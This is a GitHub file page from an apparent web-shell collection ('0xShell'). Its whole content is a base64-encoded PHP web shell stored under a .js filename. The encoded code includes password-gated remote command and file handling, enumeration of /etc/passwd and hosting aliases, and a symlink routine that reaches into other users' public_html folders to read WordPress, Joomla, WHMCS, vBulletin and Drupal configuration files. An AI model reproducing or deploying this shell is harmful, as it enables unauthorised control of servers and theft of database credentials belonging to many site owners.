forked from im-hanzou/0xShell
-
Notifications
You must be signed in to change notification settings - Fork 4
/
wesobase.js
1 lines (1 loc) · 137 KB
/
wesobase.js
1
Ly8tLS0tLS0tLS0tLS0tLS0tLVBhc3N3b3JkLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiRfcGFzc3dvcmQgPSAiODMxMTY3ZDFkMTFlMTZiODc3MDU1YmViMDBmZmVjNGIiOyAvL2FkbWluCiRfYWdlbnQgPSB0cnVlOwokX3VuaWNvZGUgPSAnVVRGLTgnOwokX2FjdGlvbiA9ICdBbm9ueW1pemVyJzsKCiREcnVwYWwgPSBtZDUoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKTsKaWYgKCFpc3NldCgkX0NPT0tJRVttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4ia2V5Il0pKSB7Cglwcm90b3R5cGUobWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuImtleSIsICREcnVwYWwpOwp9CmlmKGVtcHR5KCRfUE9TVFsnY2hhcnNldCddKSkKCSRfUE9TVFsnY2hhcnNldCddID0gJF91bmljb2RlOwppZiAoIWlzc2V0KCRfUE9TVFsnbmUnXSkpIHsKCWlmKGlzc2V0KCRfUE9TVFsnYSddKSkgJF9QT1NUWydhJ10gPSBpY29udigidXRmLTgiLCAkX1BPU1RbJ2NoYXJzZXQnXSwgZGVjcnlwdCgkX1BPU1RbJ2EnXSwkX0NPT0tJRVttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4ia2V5Il0pKTsKCWlmKGlzc2V0KCRfUE9TVFsnYyddKSkgJF9QT1NUWydjJ10gPSBpY29udigidXRmLTgiLCAkX1BPU1RbJ2NoYXJzZXQnXSwgZGVjcnlwdCgkX1BPU1RbJ2MnXSwkX0NPT0tJRVttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4ia2V5Il0pKTsKCWlmKGlzc2V0KCRfUE9TVFsncDEnXSkpICRfUE9TVFsncDEnXSA9IGljb252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gICAgIGZvcmVhY2ggKCR1c2VyZnVsIGFzICRtaWNyb3NvZnQpCiAgICAgICAgICAgICAgICAgICAgaWYod2hpY2goJG1pY3Jvc29mdCkpCiAgICAgICAgICAgICAgICAgICAgICAgICR0ZW1wW10gPSAkbWljcm9zb2Z0OwogICAgICAgICAgICAgICAgc2hvd1NlY1BhcmFtKCdVc2VyZnVsJywgaW1wbG9kZSgnLCAnLCR0ZW1wKSk7CiAgICAgICAgICAgICAgICAkdGVtcD1hcnJheSgpOwogICAgICAgICAgICAgICAgZm9yZWFjaCAoJGRhbmdlciBhcyAkbWljcm9zb2Z0KQogICAgICAgICAgICAgICAgICAgIGlmKHdoaWNoKCRtaWNyb3NvZnQpKQogICAgICAgICAgICAgICAgICAgICAgICAkdGVtcFtdID0gJG1pY3Jvc29mdDsKICAgICAgICAgICAgICAgIHNob3dTZWNQYXJhbSgnRGFuZ2VyJywgaW1wbG9kZSgnLCAnLCR0ZW1wKSk7CiAgICAgICAgICAgICAgICAkdGVtcD1hcnJheSgpOwogICAgICAgICAgICAgICAgZm9yZWFjaCAoJGRvd25sb2FkZXJzIGFzICRtaWNyb3NvZnQpCiAgICAgICAgICAgICAgICAgICAgaWYod2hpY2goJG1pY3Jvc29mdCkpCiAgICAgICAgICAgICAgICAgICAgICAgICR0ZW1wW10gPSAkbWljcm9zb2Z0OwogICAgICAgICAgICAgICAgc2hvd1NlY1BhcmFtKCdEb3dubG9hZGVycycsIGltcGxvZGUoJywgJywkdGVtcCkpOwogICAgICAgICAgICAgICAgZWNobyAnPGJyLz4nOwogICAgICAgICAgICAgICAgc2hvd1NlY1BhcmFtKCdIREQgc3BhY2UnLCBleCgnZGYgLWgnKSk7CiAgICAgICAgICAgICAgICBzaG93U2VjUGFyYW0oJ0hvc3RzJywgQGZpbGVfZ2V0X2NvbnRlbnRzKCcvZXRjL2hvc3RzJykpOwoJCQkJc2hvd1NlY1BhcmFtKCdNb3VudCBvcHRpb25zJywgQGZpbGVfZ2V0X2NvbnR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WUnKSkgewogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJHVzZXJzLCRyWzBdKTsKICAgICAgICAgICAgICAgICAgICBpZiAoaXNfcmVhZGFibGUoJGRpcnopKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJHB1YiwkZGlyeik7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgICAgIGVjaG8gJzxicj48YnI+JzsKICAgICAgICAgICAgZWNobyAiWytdIEZvdW5kZWQgIi5zaXplb2YoJHVzZXJzKS4iIGVudHJ5cyBpbiAvZXRjL3Bhc3N3ZFxuIi4iPGJyIC8+IjsKICAgICAgICAgICAgZWNobyAiWytdIEZvdW5kZWQgIi5zaXplb2YoJHB1YikuIiByZWFkYWJsZSBwdWJsaWNfaHRtbCBkaXJlY3Rvcmllc1xuIi4iPGJyIC8+PGJyIC8+PGJyIC8+IjsKICAgICAgICAgICAgZm9yZWFjaCAoJHB1YiBhcyAkdXNlcikgewogICAgICAgICAgICAgICAgZWNobyAkdXNlci4iPGJyPiI7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZWNobyAiPGJyIC8+PGJyIC8+PGJyIC8+WytdIENvbXBsZXRlLi4uXG4iLiI8YnIgLz4iOwogICAgICAgIH0KICAgIH0KICAgIGVjaG8gJzwvZGl2Pic7CgoJaGFyZEZvb3RlcigpOwp9Ci8qICjQoSkgMTAuMjAxMiBTdmV0ICovCmZ1bmN0aW9uIGFjdGlvbkZpbGVzVG9vbHMoKSB7CglpZiggaXNzZXQoJF9QT1NUWydwMSddKSApCgkJJF9QT1NUWydwMSddID0gdXJsZGVjb2RlKCRfUE9TVFsncDEnXSk7CglpZihAJF9QT1NUWydwMiddPT0nZG93bmxvYWQnKSB7CgkJaWYoQGlzX2ZpbGUoJF9QT1NUWydwMSddKSAmJiBAaXNfcmVhZGFibGUoJF9QT1NUWydwMSddKSkgewoJCQlvYl9zdGFydCgib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AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjb250aW51ZTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZihAaXNfZmlsZSgkX0NPT0tJRVsnYyddLiRmKSkKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHppcC0+YWRkRmlsZSgkX0NPT0tJRVsnYyddLiRmLCAkZik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxzZWlmKEBpc19kaXIoJF9DT09LSUVbJ2MnXS4kZikpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGl0ZXJhdG9yID0gbmV3IFJlY3Vyc2l2ZUl0ZXJhdG9ySXRlcmF0b3IobmV3IFJlY3Vyc2l2ZURpcmVjdG9yeUl0ZXJhdG9yKCRmLicvJywgRmlsZXN5c3RlbUl0ZXJhdG9yOjpTS0lQX0RPVFMpKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCAoJGl0ZXJhdG9yIGFzICRrZXk9PiR2YWx1ZSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHppcC0+YWRkRmlsZShyZWFscGF0aCgka2V5KSwgJGtleSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjaGRpcigkR0xPQkFMU1snY3dkJ10pOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHppcC0+Y2xvc2UoKTsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0KCQkJCX0gZWxzZWlmKCRfQ09PS0lFWydhY3QnXSA9PSAndW56aXAnKSB7CgkJCQkJaWYoY2xhc3NfZXhpc3RzKCdaaXBBcmNoaXZlJykpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHppcCA9IG5ldyBaaXBBcmNoaXZlKCk7CiAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2goJF9DT09LSUVbJ2YnXSBhcyAkZikgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoJHppcC0+b3BlbigkX0NPT0tJRVsnYyddLiRmKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR6aXAtPmV4dHJhY3RUbygkR0xPQkFMU1snY3dkJ10pOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR6aXAtPmNsb3NlKCk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICB9CgkJCQl9IGVsc2VpZigkX0NPT0tJRVsnYWN0J10gPT0gJ3RhcicpIHsKICAgICAgICAgICAgICAgICAgICBjaGRpcigkX0NPT0tJRVsnYyddKTsKICAgICAgICAgICAgICAgICAgICAkX0NPT0tJRVsnZiddID0gYXJyYXlfbWFwKCdlc2NhcGVzaGVsbGFyZycsICRfQ09PS0lFWydmJ10pOwogICAgICAgICAgICAgICAgICAgIGV4KCd0YXIgY2Z6diAnIC4gZXNjYXBlc2hlbGxhcmcoJF9QT1NUWydwMiddKSAuICcgJyAuIGltcGxvZGUoJyAnLCAkX0NPT0tJRVsnZiddKSk7CiAgICAgICAgICAgICAgICAgICAgY2hkaXIoJEdMT0JBTFNbJ2N3ZCddKTsKCQkJCX0KCQkJCXVuc2V0KCRfQ09PS0lFWydmJ10pOwogICAgICAgICAgICAgICAgc2V0Y29va2llKCdmJywgJycsIHRpbWUoKSAtIDM2MDApOwoJCQkJYnJlYWs7CgkJCWRlZmF1bHQ6CiAgICAgICAgICAgICAgICBpZighZW1wdHkoJF9QT1NUWydwMSddKSkgewoJCQkJCXByb3RvdHlwZSgnYWN0JywgJF9QT1NUWydwMSddKTsKCQkJCQlwcm90b3R5cGUoJ2YnLCBzZXJpYWxpemUoQCRfUE9TVFsnZiddKS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bnNbMV1bMF0pKSA+IDIpewogICAgICAgICAgICAgICAgICAgICAgICAkdW5rW10gPSAkZG9tYWluc1sxXVswXTsKICAgICAgICAgICAgICAgICAgICAgICAgZmx1c2goKTsKICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgICAgICRjb3VudD0xOwogICAgICAgICAgICAkdW5rID0gYXJyYXlfdW5pcXVlKCR1bmspOwogICAgICAgICAgICAkbD0wOwogICAgICAgICAgICBmb3JlYWNoKCR1bmsgYXMgJGQpewogICAgICAgICAgICAgICAgJHVzZXIgPSBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCIvZXRjL3ZhbGlhc2VzLyIuJGQpKTsKICAgICAgICAgICAgICAgIGVjaG8gIjx0ciIuKCRsPycgY2xhc3M9bDEnOicnKS4iPjx0ZD4iLiRjb3VudC4iPC90ZD48dGQ+PGEgaHJlZj1odHRwOi8vIi4kZC4iLz4iLiRkLiI8L2E+PC90ZD48dGQ+Ii4kdXNlclsnbmFtZSddLiI8L3RkPjwvdHI+IjsKICAgICAgICAgICAgICAgIGZsdXNoKCk7CiAgICAgICAgICAgICAgICAkY291bnQrKzsKICAgICAgICAgICAgICAgICRsPSRsPzA6MTsKICAgICAgICAgICAgfQogICAgICAgICAgICBlY2hvICI8L3RhYmxlPiI7CiAgICAgICAgfQogICAgICAgIGVjaG8gIjwvY2VudGVyPiI7IAogICAgfQogCiAgICBpZihpc3NldCgkX1BPU1RbJ3AxJ10pICYmICRfUE9TVFsncDEnXT09J3dob2xlJykKICAgIHsKICAgICAgICBlY2hvICI8Y2VudGVyPiI7CiAgICAgICAgQG1rZGlyKCczY2Ffc3ltJywwNzc3KTsKICAgICAgICAkaGR0ICA9ICJPcHRpb25zIGFsbFxuRGlyZWN0b3J5SW5kZXggU3V4Lmh0bWxcbkFkZFR5cGUgdGV4dC9wbGFpbiAucGhwXG5BZGRIYW5k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Ii4kai4iPC90ZD48dGQ+LS0tPC90ZD48dGQ+Ii4kclswXS4iPC90ZD48dGQ+PGEgaHJlZj0nM2NhX3N5bS9yb290Ii4kcls1XS4iL3B1YmxpY19odG1sJyB0YXJnZXQ9J19ibGFuayc+c3ltbGluazwvYT48L3RkPjwvdHI+IjsKICAgICAgICAgICAgICAgICAgICAkbD0kbD8wOjE7CiAgICAgICAgICAgICAgICAgICAgJGorKzsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfSAgICAgICAgICAgIAogICAgICAgICAgICBlY2hvICc8L3RhYmxlPic7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgZWNobyAiPHRhYmxlIGFsaWduPSdjZW50ZXInIHdpZHRoPSc0MCUnIGNsYXNzPSdtYWluJz48dHI+PHRoPiBDb3VudCA8L3RoPjx0aD4gRG9tYWlucyA8L3RoPjx0aD4gVXNlciA8L3RoPjx0aD4gU3ltbGluayA8L3RoPjwvdHI+IjsKICAgICAgICAgICAgJGNvdW50PTE7CiAgICAgICAgICAgICRtY2sgPSBhcnJheSgpOwogICAgICAgICAgICBmb3JlYWNoKCRkMG1haW5zIGFzICRkMG1haW4pewogICAgICAgICAgICAgICAgaWYoQGVyZWdpKCd6b25lJywkZDBtYWluKSl7CiAgICAgICAgICAgICAgICAgICAgcHJlZ19tYXRjaF9hbGwoJyN6b25lICIoLiopIiMnLCRkMG1haW4sJGRvbWFpbik7CiAgICAgICAgICAgICAgICAgICAgZmx1c2goKTsKICAgICAgICAgICAgICAgICAgICBpZihzdHJsZW4odHJpbSgkZG9tYWluWzFdWzBdKSkgPjIpewogICAgICAgICAgICAgICAgICAgICAgICAkbWNrW10gPSAkZG9tYWluWzFdWzBdOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgICAgICAkbWNrID0gYXJyYXlfdW5pcXVlKCRtY2spOwogICAgICAgICAgICAkdXNyID0gYXJyYXkoKTsKICAgICAgICAgICAgJGRtbiA9IGFycmF5KCk7CiAgICAgICAgICAgIGZvcmVhY2goJG1jayBhcyAkbykgewogICAgICAgICAgICAgICAgJGluZm9zID0gQHBvc2l4X2dldHB3dWlkKGZpbGVvd25lcigiL2V0Yy92YWxpYXNlcy8iLiRvKSk7CiAgICAgICAgICAgICAgICAkdXNyW10gPSAkaW5mb3NbJ25hbWUnXTsKICAgICAgICAgICAgICAgICRkbW5bXSA9ICRvOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGFycmF5X211bHRpc29ydCgkdXNyLCRkbW4pOwogICAgICAgICAgICAkZHQgPSBmaWxlKCcvZXRjL3Bhc3N3ZCcpOwogICAgICAgICAgICAkcGFzc3dkID0gYXJyYXkoKTsKICAgICAgICAgICAgZm9yZWFjaCgkZHQgYXMgJGQpIHsKICAgICAgICAgICAgICAgICRyID0gZXhwbG9kZSgnOicsJGQpOwogICAgICAgICAgICAgICAgaWYoc3RycG9zKCRyWzVdLCdob21lJykpIHsKICAgICAgICAgICAgICAgICAgICAkcGFzc3dkWyRyWzBdXSA9ICRyWzVdOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgICAgICRsPTA7CiAgICAgICAgICAgICRqPTE7CiAgICAgICAgICAgIGZvcmVhY2goJHVzciBhcyAkcikgewogICAgICAgICAgICAgICAgZWNobyAiPHRyIi4oJGw/JyBjbGFzcz1sMSc6JycpLiI+PHRkPiIuJGNvdW50KysuIjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQ+PGEgdGFyZ2V0PSdfYmxhbmsnIGhyZWY9aHR0cDovLyIuJGRtblskai0xXS4nLz4nLiRkbW5bJGotMV0uJyA8L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD4nLiRyLiI8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPH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Y2xhc3M9bWwxIHN0eWxlPSdtYXJnaW4tdG9wOjVweCc+IyBDYW50IGFjY2VzcyB0aGlzIGZpbGUgb24gc2VydmVyIC0+IFsgL2V0Yy9uYW1lZC5jb25mIF08L3ByZT48L2NlbnRlcj4iOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIGVjaG8gIjx0YWJsZSBhbGlnbj0nY2VudGVyJyB3aWR0aD0nNDAlJyBjbGFzcz0nbWFpbicgPjx0cj48dGg+IENvdW50IDwvdGg+PHRoPiBEb21haW4gPC90aDx0aD4gVXNlciA8L3RoPj48dGg+IFNjcmlwdCA8L3RoPjwvdHI+IjsKICAgICAgICAgICAgJGNvdW50ID0gMTsKICAgICAgICAgICAgJGw9MDsKICAgICAgICAgICAgZm9yZWFjaCgkZDBtYWlucyBhcyAkZDBtYWluKXsKICAgICAgICAgICAgICAgIGlmKEBlcmVnaSgnem9uZScsJGQwbWFpbikpewogICAgICAgICAgICAgICAgICAgIHByZWdfbWF0Y2hfYWxsKCcjem9uZSAiKC4qKSIjJywkZDBtYWluLCRkb21haW4pOwogICAgICAgICAgICAgICAgICAgIGZsdXNoKCk7CiAgICAgICAgICAgICAgICAgICAgaWYoc3RybGVuKHRyaW0oJGRvbWFpblsxXVswXSkpPjIpewogICAgICAgICAgICAgICAgICAgICAgICAkdXNlciA9IHBvc2l4X2dldHB3dWlkKEBmaWxlb3duZXIoJy9ldGMvdmFsaWFzZXMvJy4kZG9tYWluWzFdWzBdKSk7CgogICAgICAgICAgICAgICAgICAgICAgICAkYzEgPSAkYnVybC4nLzNjYV9zeW0vcm9vdC9ob21lLycuJHVzZXJbJ25hbWUnXS4nL3B1YmxpY19odG1sL3dwLWNvbmZpZy5waHAnOwogICAgICAgICAgICAgICAgICAgICAgICAkY2gwMSA9IGdldF9oZWFkZXJzKCRjMSk7CiAgICAgICAgICAgICAgICAgICAgICAgICRjZjAxID0gJGNoMDFbMF07CiAgICAgICAgICAgICAgICAgICAgICAgICRjMiA9ICRidXJsLicvM2NhX3N5bS9yb290L2hvbWUvJy4kdXNlclsnbmFtZSddLicvcHVibGljX2h0bWwvYmxvZy93cC1jb25maWcucGhwJzsKICAgICAgICAgICAgICAgICAgICAgICAgJGNoMDIgPSBnZXRfaGVhZGVycygkYzIpOwogICAgICAgICAgICAgICAgICAgICAgICAkY2YwMiA9ICRjaDAyWzBdOwogICAgICAgICAgICAgICAgICAgICAgICAkYzMgPSAkYnVybC4nLzNjYV9zeW0vcm9vdC9ob21lLycuJHVzZXJbJ25hbWUnXS4nL3B1YmxpY19odG1sL2NvbmZpZ3VyYXRpb24ucGhwJzsKICAgICAgICAgICAgICAgICAgICAgICAgJGNoMDMgPSBnZXRfaGVhZGVycygkYzMpOwogICAgICAgICAgICAgICAgICAgICAgICAkY2YwMyA9ICRjaDAzWzBdOwogICAgICAgICAgICAgICAgICAgICAgICAkYzQgPSAkYnVybC4nLzNjYV9zeW0vcm9vdC9ob21lLycuJHVzZXJbJ25hbWUnXS4nL3B1YmxpY19odG1sL2pvb21sYS9jb25maWd1cmF0aW9uLnBocCc7CiAgICAgICAgICAgICAgICAgICAgICAgICRjaDA0ID0gZ2V0X2hlYWRlcnMoJGM0KTsKICAgICAgICAgICAgICAgICAgICAgICAgJGNmMDQgPSAkY2gwNFswXTsKICAgICAgICAgICAgICAgICAgICAgICAgJGM1ID0gJGJ1cmwuJy8zY2Ffc3ltL3Jvb3QvaG9tZS8nLiR1c2VyWyduYW1lJ10uJy9wdWJsaWNfaHRtbC9pbmNsdWRlcy9jb25maWcucGhwJzsKICAgICAgICAgICAgICAgICAgICAgICAgJGNoMDUgPSBnZXRfaGVhZGVycygkYzUpOwogICAgICAgICAgICAgICAgICAgICAgICAkY2YwNSA9ICRjaDA1WzBdOwogICAgICAgICAgICAgICAgICAgICAgICAkYzYgPSAkYnVybC4nLzNjYV9zeW0vcm9vdC9ob21lLycuJHVzZXJbJ25hbWUnXS4nL3B1YmxpY19odG1sL3ZiL2luY2x1ZGVzL2NvbmZpZy5waHAnOwogICAgICAgICAgICAgICAgICAgICAgICAkY2gwNiA9IGdldF9oZWFkZXJzKCRjNik7CiAgICAgICAgICAgICAgICAgICAgICAgICRjZjA2ID0gJGNoMDZbMF07CiAgICAgICAgICAgICAgICAgICAgICAgICRjNyA9ICRidXJsLicvM2NhX3N5bS9yb290L2hvbWUvJy4kdXNlclsnbmFtZSddLicvcHVibGljX2h0bWwvZm9ydW0vaW5jbHVkZXMvY29uZmlnLnBocCc7CiAgICAgICAgICAgICAgICAgICAgICAgICRjaDA3ID0gZ2V0X2hlYWRlcnMoJGM3KTsKICAgICAgICAgICAgICAgICAgICAgICAgJGNmMDcgPSAkY2gwN1swXTsKICAgICAgICAgICAgICAgICAgICAgICAgJGM4ID0gJGJ1cmwuJy8zY2Ffc3ltL3Jvb3QvaG9tZS8nLiR1c2VyWyduYW1lJ10uJ3B1YmxpY19odG1sL2NsaWVudHMvY29uZmlndXJhdGlvbi5waHAnOwogICAgICAgICAgICAgICAgICAgICAgICAkY2gwOCA9IGdldF9oZWFkZXJzKCRjOCk7CiAgICAgICAgICAgICAgICAgICAgICAgICRjZjA4ID0gJGNoMDhbMF07CiAgICAgICAgICAgICAgICAgICAgICAgICRjOSA9ICRidXJsLicvM2NhX3N5bS9yb290L2hvbWUvJy4kdXNlclsnbmFtZSddLicvcHVibGljX2h0bWwvc3VwcG9ydC9jb25maWd1cmF0aW9uLnBocCc7CiAgICAgICAgICAgICAgICAgICAgICAgICRjaDA5ID0gZ2V0X2hlYWRlcnMoJGM5KTsKICAgICAgICAgICAgICAgICAgICAgICAgJGNmMDkgPSAkY2gwOVswXTsKICAgICAgICAgICAgICAgICAgICAgICAgJGMxMCA9ICRidXJsLicvM2NhX3N5bS9yb290L2hvbWUvJy4kdXNlclsnbmFtZSddLicvcHVibGljX2h0bWwvY2xpZW50L2NvbmZpZ3VyYXRpb24ucGhwJzsKICAgICAgICAgICAgICAgICAgICAgICAgJGNoMTAgPSBnZXRfaGVhZGVycygkYzEwKTsKICAgICAgICAgICAgICAgICAgICAgICAgJGNmMTAgPSAkY2gxMFswXTsKICAgICAgICAgICAgICAgICAgICAgICAgJGMxMSA9ICRidXJsLicvM2NhX3N5bS9yb290L2hvbWUvJy4kdXNlclsnbmFtZSddLicvcHVibGljX2h0bWwvc3VibWl0dGlja2V0LnBocCc7CiAgICAgICAgICAgICAgICAgICAgICAgICRjaDExID0gZ2V0X2hlYWRlcnMoJGMxMSk7CiAgICAgICAgICAgICAgICAgICAgICAgICRjZjExID0gJGNoMTFbMF07CiAgICAgICAgICAgICAgICAgICAgICAgICRjMTIgPSAkYnVybC4nLzNjYV9zeW0vcm9vdC9ob21lLycuJHVzZXJbJ25hbWUnXS4nL3B1YmxpY19odG1sL2NsaWVudC9jb25maWd1cmF0aW9uLnBocCc7CiAgICAgICAgICAgICAgICAgICAgICAgICRjaDEyID0gZ2V0X2hlYWRlcnMoJGMxMik7CiAgICAgICAgICAgICAgICAgICAgICAgICRjZjEyID0gJGNoMTJbMF07CiAgICAgICAgICAgICAgICAgICAgICAgICRjMTMgPSAkYnVybC4nLzNjYV9zeW0vcm9vdC9ob21lLycuJHVzZXJbJ25hbWUnXS4nL3B1YmxpY19odG1sL2luY2x1ZGVzL2NvbmZpZ3VyZS5waHAnOwogICAgICAgICAgICAgICAgICAgICAgICAkY2gxMyA9IGdldF9oZWFkZXJzKCRjMTMpOwogICAgICAgICAgICAgICAgICAgICAgICAkY2YxMyA9ICRjaDEzWzBdOwogICAgICAgICAgICAgICAgICAgICAgICAkYzE0ID0gJGJ1cmwuJy8zY2Ffc3ltL3Jvb3QvaG9tZS8nLiR1c2VyWyduYW1lJ10uJy9wdWJsaWNfaHRtbC9pbmNsdWRlL2FwcF9jb25maWcucGhwJzsKICAgICAgICAgICAgICAgICAgICAgICAgJGNoMTQgPSBnZXRfaGVhZGVycygkYzE0KTsKICAgICAgICAgICAgICAgICAgICAgICAgJGNmMTQgPSAkY2gxNFswXTsKICAgICAgICAgICAgICAgICAgICAgICAgJGMxNSA9ICRidXJsLicvM2NhX3N5bS9yb290L2hvbWUvJy4kdXNlclsnbmFtZSddLicvcHVibGljX2h0bWwvc2l0ZXMvZGVmYXVsdC9zZXR0aW5ncy5waHAnOwogICAgICAgICAgICAgICAgICAgICAgICAkY2gxNSA9IGdldF9oZWFkZXJzKCRjMTUpOwogICAgICAgICAgICAgICAgICAgICAgICAkY2YxNSA9ICRjaDE1WzBdOwogICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgJG91dCA9ICcmbmJzcDsnOwogICAgICAgICAgICAgICAgICAgICAgICBpZihzdHJwb3MoJGNmMDEsJzIwMCcpID09IHRydWUpICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeyAgICRvdXQgPSAiPGEgaHJlZj0nIi4kYzEuIicgdGFyZ2V0PSdfYmxhbmsnPldvcmRwcmVzczwvYT4iOyAgIH0gCiAgICAgICAgICAgICAgICAgICAgICAgIGVsc2VpZihzdHJwb3MoJGNmMDIsJzIwMCcpID09IHRydWUpICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7ICAgJG91dCA9ICI8YSBocmVmPSciLiRjMi4iJyB0YXJnZXQ9J19ibGFuayc+V29yZHByZXNzPC9hPiI7ICAgfQogICAgICAgICAgICAgICAgICAgICAgICBlbHNlaWYoc3RycG9zKCRjZjAzLCcyMDAnKSA9PSB0cnVlICYmIHN0cnBvcygkY2YxMSwnMjAwJykgPT0gdHJ1ZSkgeyAgICRvdXQgPSAiIDxhIGhyZWY9JyIuJGMxMS4iJyB0YXJnZXQ9J19ibGFuayc+V0hNQ1M8L2E+IjsgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgZWxzZWlmKHN0cnBvcygkY2YwOSwnMjAwJykgPT0gdHJ1ZSkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsgICAkb3V0ID0gIiA8YSBocmVmPSciLiRjOS4iJyB0YXJnZXQ9J19ibGFuayc+V0hNQ1M8L2E+IjsgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIGVsc2VpZihzdHJwb3MoJGNmMTAsJzIwMCcpID09IHRydWUpICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7ICAgJG91dCA9ICIgPGEgaHJlZj0nIi4kYzEwLiInIHRhcmdldD0nX2JsYW5rJz5XSE1DUzwvYT4iOyAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICBlbHNlaWYoc3RycG9zKCRjZjAzLCcyMDAnKSA9PSB0cnVlKSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeyAgICRvdXQgPSAiIDxhIGhyZWY9JyIuJGMzLiInIHRhcmdldD0nX2JsYW5rJz5Kb29tbGE8L2E+IjsgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgZWxzZWlmKHN0cnBvcygkY2YwNCwnMjAwJykgPT0gdHJ1ZSkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsgICAkb3V0ID0gIiA8YSBocmVmPSciLiRjNC4iJyB0YXJnZXQ9J19ibGFuayc+Sm9vbWxhPC9hPiI7ICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIGVsc2VpZihzdHJwb3MoJGNmMDUsJzIwMCcpID09IHRydWUpICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7ICAgJG91dCA9ICIgPGEgaHJlZj0nIi4kYzUuIicgdGFyZ2V0PSdfYmxhbmsnPnZCdWxsZXRpbjwvYT4iOyAgfQogICAgICAgICAgICAgICAgICAgICAgICBlbHNlaWYoc3RycG9zKCRjZjA2LCcyMDAnKSA9PSB0cnVlKSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeyAgICRvdXQgPSAiIDxhIGhyZWY9JyIuJGM2LiInIHRhcmdldD0nX2JsYW5rJz52QnVsbGV0aW48L2E+IjsgIH0KICAgICAgICAgICAgICAgICAgICAgICAgZWxzZWlmKHN0cnBvcygkY2YwNywnMjAwJykgPT0gdHJ1ZSkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsgICAkb3V0ID0gIiA8YSBocmVmPSciLiRjNy4iJyB0YXJnZXQ9J19ibGFuayc+dkJ1bGxldGluPC9hPiI7ICB9CiAgICAgICAgICAgICAgICAgICAgICAgIGVsc2VpZihzdHJwb3MoJGNmMDgsJzIwMCcpID09IHRydWUpICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7ICAgJG91dCA9ICIgPGEgaHJlZj0nIi4kYzcuIicgdGFyZ2V0PSdfYmxhbmsnPkNsaWVudCBBcmVhPC9hPiI7ICB9CiAgICAgICAgICAgICAgICAgICAgICAgIGVsc2VpZihzdHJwb3MoJGNmMTIsJzIwMCcpID09IHRydWUpICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7ICAgJG91dCA9ICIgPGEgaHJlZj0nIi4kYzcuIicgdGFyZ2V0PSdfYmxhbmsnPkNsaWVudCBBcmVhPC9hPiI7ICB9CiAgICAgICAgICAgICAgICAgICAgICAgIGVsc2VpZihzdHJwb3MoJGNmMTMsJzIwMCcpID09IHRydWUpICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7ICAgJG91dCA9ICIgPGEgaHJlZj0nIi4kYzcuIicgdGFyZ2V0PSdfYmxhbmsnPm9zQ29tbWVyY2UvWmVuI